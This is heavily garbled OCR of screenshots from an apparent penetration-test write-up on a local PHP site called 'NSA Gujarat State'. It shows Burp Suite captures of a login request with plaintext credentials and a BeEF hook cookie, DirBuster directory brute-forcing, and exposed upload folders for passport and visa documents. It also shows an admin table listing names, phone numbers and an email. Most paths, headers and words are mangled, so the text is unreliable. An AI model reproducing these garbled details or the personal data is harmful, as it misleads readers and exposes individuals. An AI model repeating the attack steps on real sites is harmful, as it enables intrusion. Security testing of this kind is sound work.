2 595 POST /nsajadmin/ajaxphpaciion=login2 HTTP/1.1Hast: localhostUser-Agent: Mozilla/3.0 (Windows NT 10.0; Winéd; xB4; rv:109.0] Gecko/20100101 Firefox/112.0Accept: */"Accept-Language: en-US,encq
Compare ...




H Bup Project intruder Repeater Window Help Burp ty Edition v2023.3.5 - Temporary Project - & X
Dashboard  Target  Proxy  Intruder  Repeater  Collaborator  Sequencer  Decoder  Comparer  Logger  Extensions  Learn {5} Sattings
Comparer @
This function lets you do a word- or byte-level comparison between different data. You can load, paste, or send data here from other tools and then select the comparison you want to perform.

Select item 1:

Select item 22

Activate Windo

Compare

5 . X18PM
H Qe Ay =0 -€@ e C AR @
Bl sup Project intruder Repeater Window Help Burp Sute Community Edtion v2023.3.5 - Temporary Project - 8 X
Dastboard  Torget  Promy  intruder  Repester  Collaborator  Sequencer  Decoder _ Comparer  logger  Extensions  Learn ) Settings
Comparer ®
This functi aword: or by i You can load. paste, or from other tools and nparison y

Length: 640 @Tet | Hex  Length 695 @ Text | Hex
| B8R /nsa/id@k prp HTTRN
Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64: 1v:109.0) Gecko/20100101 Firefox/112.0 User- Mozilla/5.0 (Windows NT 10.0; Win6; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: _ Accept:

Cookie: BEEFHOOK =5KZXQCRZ! PHPSE

Sec-Fetch-Dest:
Sec-Fetch-Mode:
Sec-Fetch-Site: same-onigin

H Qs Ay 0 .CB e

A Qe s0ne



@ | NSAGujsrat State

= localhost

Login
Email
omer@sudan.c

Password

- 8 x

Burp Project Intruder Repeater Window Help Burp § i

Dashboard  Target Intruder  Repeater  Collaborator  Sequencer  Decoder  Comparer  Logger  Edtemsions  Leam Settings

HIT history Broxy ssttings

(P Request to hitpy/jlocahostan [1
¥ e

Forward orop Adtion Open browser

Raw  Hex n Inspector % [T} & X

x.php7act ton=login2 HTTE/1.1
ributes M

v 109,01 20100101 Firetox/L

2111a/5.0 (indows NT 10

Request query parameters v
form harset=UTF-E
Request body parameters ~
#lacalhost/nsa/ index
v KbAfyaTxSkd6vTEa88n [saksugke; PHPSESS Ib=r imecké] Leodsba08as Request headers 5 v

33HBLEYIxSYNYx3 LvpaORe

0 matches

ayL 0. Chbe EH




Burp Project Intruder Repester Window Help
ntuder  Repeater  Collaborator  Sequencer  Decoder  Comparer

Dashboard  Target  Pro
Intercept  HITPhistory  WebSackets history {8} Prony settings

£ Request to hitp:/flocalhost20 [127.0.1]
Action Open browser

Forward orop n

Prefty  Raw  Hex

1 POST /naa/admin/ajax. phptaction=login® HTTR/L.1

2 Host: localhost

3 Umer-Agenct: Noz11la/5.0 (Nindows NT 10.07 Wingd: x64; rv:l09.0) Gecko/20100101 Firefox/L
4 aecepr: 7%

< dccepr-Languags: =n-US,=n;g=0.5

© Accepr-Encoding: gaip, deflate

7 Content-Type: applisat Iencoded:

X-Requested-uith: XMLHCEpRequest

< Content-Lengen: 40
10 origin: nrep://localhost

12 Beferer: htep://lacalbost/nsal index. php

Burp Suite Community Eition v2023.3.5 - Temporary Project

Logger  Extensions  Leam

1% Sec-Fetch-Site: same-origin
-

1% vacrname=omert 40audan, comepasmwerd=12345

@ €| > [sear

o Qe Ay S0-Coe @

Burp Project Intruder Repeater Windaw Help

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer
lwercept  HTTO history  WebSockets history {3} Braxy seftings

[P Requestto hp:flocalhost0 [12700.1]
Forward orop | erceptis o Y Open browser

Pretty  Raw  Hex

1 BET /naaf index.php?pag==home NTTP/ 1.1
2 Bost: localh

4 decept: Cext/RCml,application/XBTmLexil,appLicartion/¥ml;c=0.9, Imags/avit, imags/vehp, 1/
< dccept-Languags: en-US,=n;q=0.5

© decept-Encoding: gzip, deflate

7 Connection: close

Reterer: hitp://localhost/naa/index.phn

3 User-agent: Noz111a/5.0 (Vindows NT 10.07 Wingd: ¥6d; rv:109.0) Gecko/20100101 Firstox/112.0
e

Burp Suite Community Ecition v2023.3.5 - Temporary Project
Logger  Exensions  Leam

Cookle,
10 Dporade-Insecuce-Requests: L
11 Sec-Fetch-Dest: document
12 Sec-Fetch-Node: navigate
Sec-Fetch-Sice: same-origin

13
1

1=

PHPSISSID=,

0 matches.

Request attributes. 2 v
Request query parameters v
Request body parameters 2 v
Request cookies 2 v
Request headers BV

samem
R g @

- 8 x
{B} settings.

[ iem ¥ wen O

Comment t

Bws=

[ IGIENET ]

B Search aué‘o',ei.[a

0 matches.

Inspector @ O — & X
Request attributes 2 v
Request query parameters 1 v
Request body parameters o v
Request cookes 2 ~
Request headers 2 v

saspm
[l . Rppvnauy - |



¢ ) D # localhost

NSA Gujarat State

Burp Project Intruder Repeater Window Help
Dashboard  Target Intruder  Repeater  Collaborator  Sequences
HITP history  WebSackets history {8} Proxy settings

[P Request 1 htpy/jlocalhosts0 [127.00

ntercept is on Adtion Open browser

Forward orop

Raw  Hex

ne HTTR/

: winea: m

The server does not take any random numbers for session and cookie.

Upcoming Events

Contactus

+917046826960, +2348039283790

Decoder  Comparer

0100101 Firetox

Logger

Extensions

ELEER TS

Leam

=od3bao

Home

NSAMembers

Gallery

About

Login

0 matches

~Qw

W
Inspector @ O
Request sttributes
Request query parameters
Request body parameters
Reguest cookies

Request headers

~ 7 a)

g X

B} Settings

s0pu
soarozs @



7. Directory BruteForcing

®

File Edit View VM Tabs Help ||

kak1
Applications  Places @) Firefox ESR Apr29 06:37

ujarat State

C @

KaliLinux @ KaliTools # KaliDocs M Kali Forums @ Kali NetHunter = Exploit-DB % Google Ha

NSA Gujarat State

WELCOME!
NSA Gujarat State

Upcoming Events
Contactus

mailto:ahmadjaj mail.com

To direct input to this VM, move the mouse pointer inside or press Ctrl+G

domEOmMOD

File Edit View VM Tl

kil
38 Applications  Places & dirbuster Apr29 06:37

NSA Gujarat State

@ KaliTools @ KaliDocs N Kali Forums € Kali NetHu Exploi Goagle Hacking

NSA Gujarat Stat« OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing
File Options Aabout Help

Target URL (=g http:/fexample, com:80)

hit: /192,168,162, 144/nsa/

Wiork Method Use GET requests only ) Auta Switch (HEAD and GET)

Number Of Threads —{F——————— 10Threads Go Faster

Salact scanning byps
Fila with list of dirsfiles

+) List based bruts force () Purs 8ruts Force

[iustishare/dirbustermordlists/directory list 2. 3 medumbe wse

Select starting options
[¥]Brute Force Dirs

3 Standard stant point ) URL Fuz
] Be Recursive Dir ta start with |/nsaf

[l Bnte Force Files [Juse slank Bxtension  Fle extension [ghp

| fil Bt

Please complete the test details

Contact us

OV B

O uist Info.

About

Login




)
File Edit View VM Tabs Help ||

kalil

88 Applications  Places J dirbuster

NSA Gujarat State

« 2 C 0 oy |

KaliLinux @ KaliTools # KaliDocs N Kali Forums ¥ Kali NetHunter & Exploit-DB % Google Hacking DB ¢ OffSec

About  Login

NSA Gujarat Stat¢ OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

Options  About  Help

2.168.162.144:80/ns3/
© scan Information | Results - Ust View: DIrs: 14 Files: 20 | Results - Tree View | A Errors: 1

Testing for dirs in /nsa/
Testing for files in fnsa wit ntion .php
Testing for dirs in /nsa/uploads/

Testing for files in /nsafuploads/ with axte:
Testing for dirs In /

Testing for fles In / with extention .php

<
Current speed: 97 raquests/sec (select and right click for more options)
Average speed: (T) 199, (C) 198 requestsisec

Parse Queue Size: 0 Current number of running threads: 10

Total Requests: 799/6616480 [ haroa

Time Ta Finish: 09:14:04

A 0 Pause

Starting dirffile list based brute forcing Insafcanstitutionirss/

Contactus

m ROV s
mailto:ahmadjajerel@gmai.co | ®
4:08 PM o

m 91* v
B Q Search m sy & H '? u : | 4/29/2023

To direct input to this VM, move the mouse pointer inside or press Ctri+G.

)

File Edit View VM Tabs Helo ||

kaiL
Applications  Places. Apr29 06:38
OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing
Fis Optiors About Help
http:7L92.168.162.134;80/sa/
@ Scan information | Results - List Views Dirs: 43 Files: 54| Results - Tree View | A\ Errors: 1
Testing for dirs in fnsa/ o% [ (@ [
Tasting fo insal with extention .php o% i (@
Testing far dirs in fsaluploads/ 5% i (O |4
Testing for files in insaiuploadst with extertion . php 0% mj (O
Testing for dirs in 0% ) (5
Testing for files in j with sstention .phe o%
Testing for dirs in nsafconstitutionf o% m (5
Testing for files In /nsaconstitution with extention php o% m [0
Testing for dirs in nsafadmin/ o% nj (O
Testing for files In insa/admin/ with extention php 0% mj (O
Testing for dirs in insafadminiassetsnmo/ % m (T
sting for insa/admin/assetsfimg/ with extention .php o%

Testing for dis in Msaladmirvassets/ o% [ [T
Testing for files in /nsa/admin/assets/ with extantion ,ghp o% i (O
Testing for dirs In /nsaradminzassetsiuploadsigallery 0% ) (of L

Current speed: 318 requests/sec (select and right click for mare options)

Auerage speed: (T) 230, (C) 230 requestsisec

Parse Queue See: 18 current number of running threads: 10

Tatal Requests: 2309/19408351 Changa

Time To Finish: 23:26:14

0 Pause 0 stop
Starting dirffie list based bruts forcing Insaladminfassats/font-awesomeispritesfindex!

Q Search




e

File Edit View

lalit
252 Applications  Places & dirbuster Apr29 06:38
OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

Fil= Options About Help

HEtpi//192.166.162.1 41B0/sar

@ Scan Information ' Results - List View: Dirs: 52 Files: 170, Results - Tree View | A Errors: 1),

Type Faund Response sie
File insafabout prp 1571 |~
File Insslindex php 315)
ir insal 15700
Fiie Insaihome.php 3163
File 2087
File 4335/
Flle 6318
File Insalcaresrs.pho 5669
oir Insalupleads/ 1913
Flle Insajhaader.php 2541
File Insalsubmit.php 7215
oir I 244
Flle insarsignup.php 205,
oir Insaicorstitution/ 1211
File 244
oir 339,
File 231
oir a758]
Flle p 339,
File Insafconstitution/hsh_Constitution.pdf
oir Insaladmin/assets/
oir Insa/adminvassets/uploadsigaliery/
oir Jegibint
File Insaladminvassetsvendorquery/jquery.min.js
o insaradminassetsivendor|guery
Flle Insauploadsil 6776054 Z0WINZ0200203030123C0pY PG
Flle Insalupleads/MINZ0Z002030301 23Copy PG
oir /
orr
o ”
oir dminassets/vendor/baotstrap-datepicker/
Fiie Insa/atminihome. php =

Current speed: 286 requestsisec
Average speed: (1) 278, (C) 331 requestssec

Parse Queue Size: 46 Current number of running threads: 10
Total Requests: 5014723378394 Changa

Time To Finish: 10:36:58

™ 1 Pause [ stop

input to this

Q Search

)

File Edit View VM

kakil
Places T dirbuster Apr29 06:38
OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

Fils Options About Help

(Select and right click for mare options)

Insajadiminjassets fant-awesomeljs/07. ohp

408 PM
o

http://192.168.162.144;80/nsal
@ Scan Information' Results - List View: Dirs: 55 Fles: 220 | Rasults - Tres View | A\ Errors: 1
Type = Founed Respense
oir insaf
ir Insalupleads/

Dir In

onstitution/

orfiguery)

orr Insa/admirvassetsiuploads/
oI Insaladminvassetsivendor/ooatstrap-datepickerijs/
o Insafadmirvassetsvendor/ootsrap-datepickers

ir Insaljs/
oir Insafadminunotification/
oir Insalad s Fonit-awescme/

s
dminvassets/vendor/bootstrap-datepickericss!

orr Jnsasadminiassetsvendor/bootstrap-datepicker/ocaless
i Insa/adminiassets/ataTables DataTables-1.10.21/

oir Insaladmirvassets/vendorfanimat e.css!

orr Insaladmirvassets/Datal ablesmataTables-1.10.21 mages!

ssets/endor/counterupf
bles/DataTables1.10.21jcss/

15700|~
1913}

Current speed: 368 requests/sec
Auerage speed: (T) 294, (C) 333 requestsisec

Parse Queus Sze: 0 Current number of running threads: 10
Tatal Requests: 7373/24701748 Change

Time To Finish: 20:35:57

: 0 Pause [ step

Q Search

(select and right click for mare options)

Insafuploads/feed. php




File FEdit View

lalit
252 Applications  Places & dirbuster Apr29 06:38

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

Fil= Options About Help

http:/7192.168.162.144;80/Msa/
@ Scan Information ' Results - List View: Dirs: 56 Files: 225 |, Results - Tree View | A\ Errors: 1),
Type Found Respense
or insal
Insaluploadsi

]
Jnsa/consttutionf
ns=/admin/
a/adminassets/img/
Insa/admirvassats/
Insaladminvassetsiuploadsigalieny

cgibin
Jnsa/admirvassetsivendor/quary

Jimg/

insaladmirvassetsuploads/
insa/admin/assetshendorbootstrap-datepickerst
Insaladminvassetsivendorbootstrap-datepickers

Insaladminunetificationf

Insa/adminiassets font-awesome/
Insafadminiassets/vendor/bootstrap-datepickericsst
Insaladminvassets/vender/oootsirap-datepickerflocales!

Insaladminassets/DataT ablesataTables-1.10.21 Amages/
insafadmirvassetsivendor/ootstraps

dminya rup!
Insafadminyasssts/DataTablas/DataTables1.10.21/css/ 200 3s62{

T T (Select and right click for mare options)

Average speed. (T) 325, () 383 requestsjsec

Parse Queue Size: 0 Current number of running threads: 10

Total Requests: 12367/25142847 Change

Time To Finish: 18:13:38

‘A N )

Starting dirffile list based brute forcing fnsaladmin/assetspendorfcounterup/L 7]

408 PM
o

29/2023

Search

File Edit View VM

kakil
tions  Places T dirbuster Apr29 06:38

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

Fis Optiors About Help
http:7L92.168.162.134;80/sa/
@ Scan Information Results - List View: Dirs; S6 Fles: 227 | Rasults - Tree View |, A\ Errars: 1
Type & Found Response sua
o insal 200
ir Insauploads/ 200
i 02
Jnsalconstitution/ 200
I - -
©Open In Browser 200
Visw Respanse 200
. 200
[ Copy URL 203
skip 200
mg 200
orr insaradminasse: 200
oir Insaladminiasset: 4 200
oir Insafadmirvassets 200
o Jicansr 200
oir Insaladmiriassets/js/ 200
oir 200
oir 200
oir 200
oir s 200
oir Insafadminunotification/ 200
oir Insaladminvassets font-awesome/ 200
oir Insaladmin/assets/vendor/bootstrap-datepicker/css/ 200
orr Jnsasadminiassetsvendor/bootstrap-datepicker/ocaless 200
oir Insaladminvassets/DataTables/DataTables1.10.21/ 200
oir Insaladmirvassets/vendorfanimat e.css! 200
orr Insaladmirvassets/Datal ablesmataTables-1.10.21 mages! 200
oir 200
oir 200
oir 200
o ssetsfvendor/counterup/ 200
oir bles/DataTables1.10.21jcss/ 200 -
Current speed: 361 requesta/sec (elect and right click for more options)
Auerage speed: (T) 335, (C) 366 requestsisec
Parse Queue Ses: 0 current number of running threads: 10
Total Requests: 1641825142847 Changs
Time To Finish: 18:04:L1
2 W Pause [ O step

Q Search




Edit View VM Tabs

Kalil
Applications  Places &) Firefox ESR

B NSA Gujarat State

a

KaliLinux @ KaliTools @ KaliDocs M Kali Forums @ Kali NetHunter xploit-DB % Goo OffSec

To direct input to this VM, move the mouse pointer inside or press Ctrl+G.

B Q Search /‘_’, m ﬁ‘

=
File Edit View VM Ta
kalil

Applications  Places dirbuster Apr29 06:39

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

Fils Options About Help

http://192.168.162.144;80/nsal
@ Scan Information' Results - ist View: Dirs: 57 Fles: 229 | Rasults - Tres View | A\ Errors: 1
Type = Founed Respense
oir Insal
ir Insalupleads/

constitution/
adh

admin/assstsfima/
t

isssats
invassets/uploadsigallery
orfiquery/
orr Insa/admirvassetsiploadss
oI Insaladminiassetsivendor/oootsirap-datepickeri
o miniassetsivendorbootstrap-datepicker/
or
i Insaladmiriassets/js/
ir jassets/DataTables
ir admiryassets/css/
ir ‘sdmin/assets/vendor/
ir s/
oir runatfication
oir jassats font-awesome/
oir dor/bootstrap-datepickericss!
oir ndorjbootstrap-datepickerslocaless
oir Insaladminvassets/DataTables/DataTables1.10.21/
oir Insaladmirvassets/vendorfanimat e.css!
o Insaladmirvassets/Datal ablesmataTables-1.10.21 mages!
oir Insaladminiassetsvendorfbootstrapl
oir Insafadmirvassets/vendor/boxicons!
oir Bdmin/assets font-aweseme/css/
ir ‘admin/assets/vendor/counterup!
ir bles/DataTables-1.10. 21 css/
Current speed: 387 requests/sec (select and right click for mare options)
Auerage speed: (T) 353, (C) 374 requestsisec
Parse Queue Ste: 0 current number of running thraads: 10
Total Requests: 28980/25583943 Changa
Time To Finish: 18:58:48
: 0 Pause [ step

Insaladmin/assetsendor/rembicon/hardware. php

Search




e

File FEdit View

lalit
252 Applications  Places  ® Apr29 06:39

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

Fil= Options About Help

HEtpi//192.166.162.1 41B0/sar

@ Scan Infarmation ' Results -

ist Views Dirs; 57 Files: 229 | Results - Tree View | A Errors: 1,

Type = Faund Response sie
or insat 200
oir Insaluploadsi 200
ir ! 302
Insafconstitutionf 200
02
jassets img] 200
200!
admin In Browser 200
cgibin/ View Rasponse 03
InsarsdmIng 5 coo upy 200
9 . 200
admin/ " Skip 200
imsaladming st 200
Insaladmin/—— 200
ioona! Extentions 1o scan » 200
Insaladming 200
200
‘admin/assets/css/ 200
admin/assetsvendor/ 200
oir nssljs 200
oir Insaladminunetificationf 200
oir Insa/adminiassets font-awesome/ 200
oir Insajadminiassets/vendor/bootstrap-datapicker/csst 200
oir Insaladminvassets/vendorfoootstrap-dataepicker/localas! 200
o insajadmirassetsDataTables/mataTables1.10,21/ 200
o Insaladminassetsivendoranimate.css! 200
oir Insaladminassets/DataT ablesataTables-1.10.21 Amages/ 200
oir insafadmirvassetsivendor/ootstrap, 200
orr Insa/dminiassetsvendoriboxicons! 200
ir ont-awesome/css/ 200
ir Insaladminiassets/vendor/counterup! 200
oir Insafadminyasssts/DataTablas/DataTables1.10.21/css/ 200 3s62{
Current speed: 402 requestalsec (Select and right click for mare options)
Auerage speed: (T) 356, (C) 391 requestsisec
Bl b e Current number of running threads: 10
Total Requests: 31725/25583943 =

Time To Finish: 18:08:L0

™ 1 Pause [ stop

Q Search

)

File Edit View

kakil

Applications  Places Apr29 o

Sujarat

KaliLinux @8

Index of /nsa/admin/assets

Name Last modified Size Description

o9 Parent Directory -
2y DataTables/ 2023-04-25 16:56 -
[w]= 2023-04-25 16:56 -
(Cyfont-awesome/ 2023-04-25 16:56 -
2img 2023-04-25 16:56 -

(W1t 2023-04-25 16:56 -
Eyuploads/ 2023-04-28 15:39 .-
2 vendor/ 2023-04-25 16:56 -

Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.2.0 Server at 192.168.162.144 Port 80

> this VM, me

Search




Edit View VM

kafi

Applications  Places &) Firefox ESR Apr29 06:39

@

KaliLinux g KaliTools & Kali Docs & Kall NetHunt Exploit-DB

Index of /nsa/admin/assets/uploads

Name Last modified Size Description

o Parent Directory -
[% 049309404WhatsApplma.> 2023-03-01 12:23 84K
D803922587WhatsAppim..> 2023-03-01 15:42 35K
hmad22.jpg  2023-03-01 12:49 148K

@ 09032114431DSCH363.JPG 2023-03-01 15:01 6.2M
[8 09033224455D5C3179.jpg  2023-03-01 16:10 355K
SC5407.JPG 2023-03-01 16:02 8.5M
090473483748WhatsApp..> 2023-03-01 15:24 97K
090487537487DSC5363.JPG 2023-03-01 15:31 6.2M
[4 095906056DSC3008 jpg  2023-03-01 20:10 470K
602730260_avataripg 2023-03-01 22:34 7.5K
1602730260_av: ) 2020-10-15 10:51 11K
2020-10-15 13:02 29K
2023-02-28 15:14 27K
2023-03-01 22:32 197K
22:31 12K
2023-03-01 22:38 60K
00_208 jpg  2023-03-01 22:35 121K
677690300 images(co.> 2023-03-01 22:35 12K
1677690300 _index2.jpg 2023-03-01 22:35 7.8K
677690300 index4.jpg 2023-03-01 22:35 1.8K
2023-03-01 22:38 60K

Q Search

Edit View VM

kakil

Applications  Places &) Firefox ESR Apr29 0833

& Kali NetHunt

1677690300_2084235jpg  2023-03-01 22:35 121K
[ 1677690300 images(co.> 2023-03-01 22:35 12K
677690300 index2jpg  2023-03-01 22:35 7.8K
1677690300 index4 jpg 2023-03-01 22:35 1.8K

[ 1677690480 167769018..> 2023-03-01 22:38 60K
1677695100_167769030,.> 2023-03-01 23:55 12K
|8 1677722820 DSC 5363 JPG 2023-03-02 07:37 6.2M
77723240 DSC 3000,jpg 2023-03-02 07:44 477K
1677723420_DSC_5399.JPG 2023-03-02 07:47 7.9M
7723600 300 [PG 2023-03-02 07:50 7.9M
2023-03-02 08:10 470K
2023-03-02 09:30 477K
PG 2023-03-02 ( 5 8.1M
2023-03-02 22:26 6.2M
2023-04-25 17:50 72K
2023-04-25 18:00 28K
2023-03-01 20:25 470K
2023-04-25 21:09 26
2023-04-27 18:05 28K
2023-04-26 23:11 1.0K

2023-04-28 1 169K
) admissionDocs/ 2023-04-28 15:37 -
23 frroDocs/ 2023-04-28 15:37
By gallery/ 2023-04-25 16:56 -
[ passportDocs/ 2023-04-28 15:37 -
(D visaDocs/ 2023-04-28 15:37

Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.2.0 Server at 192.168.162.144 Port 80

Search



Edit View VM Tabs

kafi
Apr29 06:40

28 Applications  Places &) Firefox ESR

Jjarat State * B

KallLinux g KaliTools & KaliD

Index of /nsa/admin/assets/uploads/passportDocs

Name Last modified Size Description

o Parent Directory -
[ 234546849546 Hello.pdf 2023-04-25 21:09 26
[} 2349925084331 Hello.pdf 2023-04-27 18:05 26
2349925084331 pdfpdf 2023-0428 15:37 6

Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.2.0 Server at 192,168.162.144 Port 80

To direct input to this VM, move the mou

Q Search

)

File Edit View VM Tabs

kakil

Applications  Places Apr29 06:40

1safadminfasse X

Kali Linux @& Tools * KaliD N Kali Forums & Kali NetHunter Exploit-DB Google Hax g DB
Index of /nsa/admin/assets/uploads/visaDocs

Name Last modified Size Description

o Parent Directory -
[2) 234546840546 Hello.pdf 2023-04-25 21.09 26
[E1 2349925984331 Hello.pdf 2023-04-27 18:05 26
2349025084331 pdf,pdf 2023-04-28 15:37 6

Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.2.0 Server at 192.168.162.144 Port 80

To direct input to this VM, move the mou

Q Search




e

File FEdit View

kafi

252 Applications  Places Apr29 06:40
sujarat
8.162.144/

liLinux @ Kali Tools & Kali D ms € Kall NetH Exploit-D

Index of /nsa/admin/assets/uploads/frroDocs

Name Last modified Size Description

o Parent Directory -
234546849546 Hello.pdf 2023-04-25 21:00 26
[} 2349925084331 Hello.pdf 2023-04-27 18:05 26
2349925084331pdfpdf 2023-0428 15:37 6

Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.2.0 Server at 192,168.162.144 Port 80

Q Search

=
File Edit View
kalil

Applications  Places Apr29 06:40

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

Fils Options About Help

hitp://192.168.162.144;80/msa/

@ Scan Information' Resuts - List View: Dirs: 5B Fles: 233 | Rasuts - Tree View | /A Errars: 1),

Type = Found Respense
insal 200
Insauploads/ 200
! 02
Insalconstitution/ 200
ad 302
jassetsfimg) 200
s/ 200
s/uploadsigaliery/ 200
v 03
tsivendorfiquery/ 200
/ 200
insaradminassetsploadss 200
Insaladminiassetsivendoribootstrap-datepickerjs/ 200
Insafadmirvassetsvendor/ootsrap-datepickers 200
Jicansr 200
Insaladmiriassets/js/ 200
/admin/assets/DataTables/ 200
admin/assets/css/ 200
‘sdmin/assets/vendor/ 200
Bir Jnsaljs/ 200
15 .
oir Insaladminvassetsfont-awesorme/ 200
ir Insaladminiassetsivendor/bootstrap-datepickericss! 200
oir Insa/adminiassets/vendor/bootsirap-datepicker/iocales/ 200
i Insa/adminiassets/ataTables DataTables-1.10.21/ 200
oir Insaladmirvassets/vendorfanimat e.css! 200
o Insaladmirvassets/Datal ablesmataTables-1.10.21 mages! 200
oir 200
oir 200
oir 200
ir Insa/adminjassetsfvendoricounterup! 200
ir nsala bles/DataTables-1.10. 21 css/ 200
Current speed: 372 requesta/sec (select and right click for mare options)
Auerage speed: (T) 366, (C) 372 requestsisec
Parse Queue Ste: 0 current number of running thraads: 10
Total Requests: 63447/26025041 Changa
Time To Finish: 16:23:00
: 0 Pause [ step
Starting dirffie list based bruts forcing Insafadmin/assetsffort-awesome/svgs/unid

> this VM, me

Search




[l 1 - VMware Workstation

File FEdit View

lalit
252 Applications  Places Apr29 06:40
OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

Fil= Options About Help

http:/7192.168.162.144;80/Msa/
@ Scan Information ' Results - List View: Dirs: 58 Files: 234 |, Results - Tree View | A\ Errors: 1),

Type ~ Faund Respense sie

o nsar 200
o Inssiuploads/ 200
oir i 302
or Insajconstitutions 200
cir 302
oir assatsfimg/ 200
or Inssfadminvassats/ 200
oir Insajadminassetsiuploadsigalieryt 200
o cgibin 103
or Jnssjadminassetsivendorjuery 200
or limg/ 200
or Insafadminiassetsiuploads/ 200
or insa/admirvassetsivendor/bootstrap-datepickerijs/ 200
or Insafadminassetsivendorbootstrap-datepickers 200
200
t3/)s/ 200
dminyassets DatsTablas/ 200
tsfcss/ 200
jassetshvendor/ 200
200

0. 20

open n Browser 200 2923

. 200 3944

Insaladminass| = REEPONSS st 200 179

Jnsaadmirvass [5 Copy URL 200 1697|

Insaladminass{ it skp 200 1635

insaladminass| hages! 200 2205,

insaradminiass| 200 Lasg|

Inssiadminiass|  Extentions to scan f 200 1457

jadmin/ass| 200 1081

dminjass. . 200 1262

Jnsa/adminjassets/DataT ables/DatsTables-1.10.21css/ 200 sae2||

Current speed: 402 requests/sec
Average spasd: (T) 367, (C) 386 requestsisec

Parse Queue Size: 0 Current number of running threads: 10
Total Requests: §5405/26025041 Changa

Time To Finish: 18:40:52

‘A N )

Search

File Edit View VM Tabs Help

kakil
tions  Places T dirbuster Apr29 06:41
OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

Fils Options About Help

(Select and right click for mare options)

hitp://192.168.162.144;80/msa/

@ Scan Information' Resuts - List View: Dirs; 5B Fles: 234 |, Rasuts - Tree View | /A Errars: 1),

Type » Found Respense
or Insal

o Insafuplozdsi

or i

o anstitution!

oir i

o dmin/assetsimg/

o 0

or Insajadminassetsruploadsigalieryt

o

jpir orliquery/

or mg

or Insajamiriassets/uploadss

or Insajadminiassetsivendoribootstrap-datepicker/s!
or Insa/admirvassetsivendorfbootstrap-datepickers
or lieons!

o Insejadminassetsfs/

Open In Browser

3 View Respanse
oir Insaradminiass| P

o Insaladmirvass) [ Copy URL
oir Insaladminass{ 1t skip
orr imsafadminvass| hagess

last

Extentions to scan »

bles/DataTables1.10.21jcss!

Current speed: 398 requests/sec
Auerage speed: (T) 367, (C) 380 requestsisec

Parse Queue Sze: 0 current number of running threads: 10
Total Requests: 56595/26025041 Change

Time To Finish: 1813211

2 W Pause [ O step

ide or press Ctrl +G.

Q Search e B & ®

Insajadminfassetsjvendo

(Select and right click for mare opticns)

ofort/server.php




kaliL

Places &) Firefox ESR

BN

al Docs % Kali Forums €€ Kall NetHunter & Exploit-DB & Gaogle Hacking D
NEED TO BE REMINDED!
Show 10 v entries Search:
] Firstname Middiename State Phone Visa E-Date eFARO E-Date Action
1 Mike D 08169335689 2023-05-12 20230103 o N
a Adama Musa 08033218894 2023-02.05 20220116 & Update
4 Ahmad Adamu Zamfara 08039283790 2023.04.05 2022.01-07 & Update
& Omer Sedeq Abia 09033224455 2023-04-30 20170128 © Update
10 Gamboru Mandalma Anambra 08035283790 2023-01-21 2024-09-10

Showing 1 1o 5 of § eniries

BT ceVEeED

411PM

File Edit

Places &) FirefoxESR

jle Hacking DB

Remind Member
Click YES 1o remind Member!

Omer Adam

® Cancel = Yes

411PM




File Edit Tabs Help

ali1
Places &) Firefox ESR

BN

Call Docs 8 Kali Forums & Kall NetHunter = Exploit-DB
NEED TO BE REMINDED!
Show 10 v entries Search:
] Firstname Middiename State Phone Visa E-Date eFARO E-Date Action
1 Mike D 08169335689 2023-05-12 20230103 o N
3 Adama Musa 08033218894 2023-02.05 20220116 @ Update

4 Ahmad Adamu Zamfara 08039283790 20230405 20220107 & Updeke

10 Gambom Mandalma Anambra 08039283790 2023-01-21 2024-09-10 @ Update

Showing 1 to 4 of 4 entries

411PM

File Edit V

kalil
Places ) Firefox ESR

B

& Kali Docs W Kali Forums & Kali NetHuntes

Edit Member

Firstname: Ahmad

Lastname: | e

Email: ahmad mses2151@nfsu.ac.n

Phone: 08039283780

Visa

y 04/05/2023
Expiry:

oFRRO
Expiry:

] |
)

416 PM




Edit  View

88 Applications  Places

18 <04 Not Found

8.162.144)
i Linux Tools # KaliD W Kali Forums € Kali NetH Exploit-DB
Not Found
The reque URL was not found on this ¢

Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHF/8.2.0 Server at 192.168.162.144 Port 80

To direct input to this

- Q Search

The site is vulnerable to directory brute forcing.

8. HTTP request splitting attack (not vulnerable)

B bup Project intruder Repester Window Help B 2e Community Editi mporar ject - ] x
Cashboard  Target  Prowy  Intruder  Repeater  Colaboralor  Sequeacer  Decoder  Comparer  logger  Extensions  Learn & settings
IMercept  HTTRhistory  websocketshistory | () Proy setings
Filter: Hiding €55, image and general binary content @
# Host Method URL Params  Edfed  Status  Length MIMEtype  Extension Title Comment s ® Time Listener port
2 mpyocainast GET  jsafloginphp 00 204 T php 127004
3 posT acimiryajax.php7action=lagin2 v 200 = php .
4 GET a/index php?page=home v 200 HTML phe NS4 Gujarat State 04
s aEr sa/admin/ajax php7action=ge _cart v HIML php 12700, 180015 2 M. 8080
6 Mtpy/detectportalirefoncom  GET 0 el 34.107.221.82 19:0031 2 M... 8080
7 pydeteaponalfivefoccom  GET v = o
8 http://detectportal firefox.com GET v et ot
9 tpsyfseraces addonsmoilla... GET Jadons search/7guid= defauit v 150N v 18:02:01 2 M... 8080
0 hitps:/fversioncheck-bg.addons... GET Jupdate/VersionCheck.phpiregversion. v 150N php < 19:02:032 M... 8080
1 hpsyjaussmerilaorg GET  jupdatess/Sysemaddons/11202/202.. ™ ol v 19:02:04 2 .. 8080
